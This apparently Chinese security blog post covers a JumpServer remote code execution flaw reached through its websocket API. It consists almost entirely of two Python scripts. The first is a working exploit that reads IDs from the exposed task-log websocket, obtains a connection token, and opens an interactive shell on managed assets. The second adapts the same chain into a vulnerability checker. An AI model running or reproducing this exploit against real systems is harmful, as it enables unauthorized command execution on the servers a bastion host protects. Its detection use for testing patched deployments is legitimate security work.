漏洞详情:https://www.cnblogs.com/w0x68y/p/14340249.html
采用的是websocket协议
可以先从这儿了解一下websocket :https://blog.csdn.net/larry_zeng1/article/details/82285265
我们先对报文进行抓包:
一键反弹shell 脚本:
import asyncio
import re
import websockets
import json
import os
import asyncio
import aioconsole
import websockets
import requests
import json
url = "/ws/ops/tasks/log/"
url2 = "/api/v1/authentication/connection-token/?user-only=1"
async def main_logic(t):
print("#######start ws")
async with websockets.connect(t) as client:
await client.send(json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
while True:
ret = json.loads(await client.recv())
# print(ret["message"], end="")
try:
asset_id=re.findall(r"/?asset_id=.*/", ret["message"])[0]
if len(asset_id) > 0:
asset_id = re.findall(r"/?asset_id=.*/", asset_id)[0]
if "asset_id" in asset_id and "system_user_id" in asset_id and "user_id" in asset_id:
asset_id=asset_id.split("&")
real_user_id=""
real_system_user_id=""
real_asset_id=""
for i in range(len(asset_id)):
if "asset_id=" in asset_id[i]:
real_asset_id=asset_id[i].replace("asset_id=","")
if "system_user_id=" in asset_id[i]:
real_system_user_id=asset_id[i].replace("system_user_id=","")
if "HTTP" in asset_id[i]:
real_user_id=asset_id[i].replace("user_id=","").replace(" HTTP/","")
if real_asset_id!="" and real_system_user_id!="" and real_asset_id!="":
print(real_asset_id,real_system_user_id,real_user_id)
global data
data = {
"user": real_user_id,
"asset": real_asset_id,
"system_user": real_system_user_id,
}
return (data)
break
except:pass
def get_celery_task_log_path(task_id):
task_id = str(task_id)
rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
path = os.path.join("/opt/jumpserver/", rel_path)
return path
async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
async def send_loop(ws, session_id):
while True:
cmdline = await aioconsole.ainput()
await send_msg(
ws,
json.dumps(
{"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
),
)
async def recv_loop(ws):
while True:
recv_text = await ws.recv()
ret = json.loads(recv_text)
if ret.get("type", "TERMINAL_DATA"):
await aioconsole.aprint(ret["data"], end="")
# 客户端主逻辑
async def main_logic2():
print("#######start ws")
async with websockets.connect(target2) as client:
recv_text = await client.recv()
print(f"{recv_text}")
session_id = json.loads(recv_text)["id"]
print("get ws id:" + session_id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps(
{
"id": session_id,
"type": "TERMINAL_INIT",
"data": '{"cols":164,"rows":17}',
}
)
await send_msg(client, inittext)
await asyncio.gather(recv_loop(client), send_loop(client, session_id))
if __name__ == "__main__":
#这儿输入测试地址
host = "http://xx.xx.xx.xx"
cmd = "who"
if host[-1] == "/":
host = host[:-1]
target = host.replace("https://", "wss://").replace("http://", "ws://") + url
asyncio.get_event_loop().run_until_complete(main_logic(target))
print(host + url2)
print(data)
res = requests.post(host + url2, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target2 = (
"ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
)
print("target ws:%s" % (target2,))
asyncio.get_event_loop().run_until_complete(main_logic2())
改后的检测脚本:
import asyncio
from datetime import datetime
import re
import sys
import websockets
import json
import os
import asyncio
import aioconsole
import websockets
import requests
import json
url = "/ws/ops/tasks/log/"
url2 = "/api/v1/authentication/connection-token/?user-only=1"
async def main_logic(t):
print("#######start ws")
async with websockets.connect(t) as client:
await client.send(json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
start_time = datetime.now()
while True:
ret = json.loads(await client.recv())
# print(ret["message"], end="")
try:
asset_id=re.findall(r"/?asset_id=.*/", ret["message"])[0]
time_delta = datetime.now() - start_time
if time_delta.total_seconds() >= 15:
print("the jumpserver no rce 202002 vuln")
break
if len(asset_id) > 0:
asset_id = re.findall(r"/?asset_id=.*/", asset_id)[0]
if "asset_id" in asset_id and "system_user_id" in asset_id and "user_id" in asset_id:
asset_id=asset_id.split("&")
real_user_id=""
real_system_user_id=""
real_asset_id=""
for i in range(len(asset_id)):
if "asset_id=" in asset_id[i]:
real_asset_id=asset_id[i].replace("asset_id=","")
if "system_user_id=" in asset_id[i]:
real_system_user_id=asset_id[i].replace("system_user_id=","")
if "HTTP" in asset_id[i]:
real_user_id=asset_id[i].replace("user_id=","").replace(" HTTP/","")
if real_asset_id!="" and real_system_user_id!="" and real_asset_id!="":
print(real_asset_id,real_system_user_id,real_user_id)
global data
data = {
"user": real_user_id,
"asset": real_asset_id,
"system_user": real_system_user_id,
}
return (data)
break
except:pass
def get_celery_task_log_path(task_id):
task_id = str(task_id)
rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
path = os.path.join("/opt/jumpserver/", rel_path)
return path
async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
async def send_loop(ws, session_id):
start_time = datetime.now()
while True:
cmdline = await aioconsole.ainput()
time_delta = datetime.now() - start_time
if time_delta.total_seconds() >= 15:
print("the jumpserver no rce 202002 vuln")
break
await send_msg(
ws,
json.dumps(
{"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
),
)
sys.exit("1")
async def recv_loop(ws):
start_time = datetime.now()
while True:
recv_text = await ws.recv()
ret = json.loads(recv_text)
time_delta = datetime.now() - start_time
if time_delta.total_seconds() >= 15:
print("the jumpserver no rce 202002 vuln")
flag="0"
break
if "Last login" in ret["data"]:
print("the jumpserver have rce 202002 vuln")
flag="1"
break
if flag=="1":
sys.exit("99")
else:
sys.exit("1")
# 客户端主逻辑
async def main_logic2():
print("#######start ws")
async with websockets.connect(target2) as client:
recv_text = await client.recv()
print(f"{recv_text}")
session_id = json.loads(recv_text)["id"]
print("get ws id:" + session_id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps(
{
"id": session_id,
"type": "TERMINAL_INIT",
"data": '{"cols":164,"rows":17}',
}
)
await send_msg(client, inittext)
await asyncio.gather(recv_loop(client), send_loop(client, session_id))
if __name__ == "__main__":
if len(sys.argv) < 2:
print("usag:python jumpserver_rce.py http://192.168.xx.xx")
else:
# global data
# data = {}
global flag
flag=0
host = sys.argv[1]
if host[-1] == "/":
host = host[:-1]
target = host.replace("https://", "wss://").replace("http://", "ws://") + url
asyncio.get_event_loop().run_until_complete(main_logic(target))
print(host + url2)
print(data)
res = requests.post(host + url2, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target2 = (
"ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
)
print("target ws:%s" % (target2,))
try:
asyncio.get_event_loop().run_until_complete(main_logic2())
except:
print("the jumpserver no rce 202002 vuln")
sys.exit("1")